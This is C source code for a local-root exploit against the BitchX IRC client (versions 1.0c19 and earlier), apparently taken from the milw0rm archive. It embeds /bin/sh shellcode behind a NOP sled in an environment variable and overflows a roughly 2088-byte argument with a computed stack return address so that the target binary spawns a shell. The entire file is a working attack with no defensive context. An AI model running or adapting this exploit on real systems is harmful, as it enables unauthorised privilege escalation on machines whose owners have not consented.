// BitchX local-root by Sha0 (version 1.0c19 e inferiores -todas-) // este exploit se lo dedico a mi chica. // 0xC0000000-4-strlen(argv[1])-1-strlen(buffer) // 2052 to the ret #include #include #include #include char payload[69]; char sha0code[] = "\xeb\x16\x5b\x31\xc0" "\x50\x53\xb0\x0b\x89" "\xdb\x89\xe1\x31\xd2" "\xcd\x80\x31\xc0\x40" "\x31\xdb\xcd\x80\xe8" "\xe5\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68"; void nopea (void); int main (int argc, char **argv) { char *buff; char *arg1="bash"; char *arg2="-c"; char *arg[]={arg1,arg2,buff,NULL}; char *env[]={"TERM=xterm",payload,NULL}; char offset[]=""; char sret[4]; unsigned long lret; int i; if (argc != 2) { fprintf (stdout,"BitchX exploit Coded By Sha0\n"); fprintf (stdout,"ej: %s /usr/bin/BitchX\n\n",argv[0]); return (1); } buff = (char *)malloc (2100); bzero (buff,sizeof(buff)); arg[2] = buff; nopea (); lret = 0xbffffffa - strlen(payload) - strlen(argv[1]); sret[0] = (0x000000ff & lret); sret[1] = (0x0000ff00 & lret) >> 8; sret[2] = (0x00ff0000 & lret) >> 16; sret[3] = (0xff000000 & lret) >> 24; for (i=0;i<2088;i+=4) // 2088 tirando largo. memcpy (buff+i,sret,4); execve (argv[1],arg,env); perror ("execve()"); free (buff); return (0); } void nopea (void) { bzero (payload,sizeof(payload)); memset (payload,0x90,sizeof(payload)-1); memcpy (payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code)); } // milw0rm.com [2004-10-20]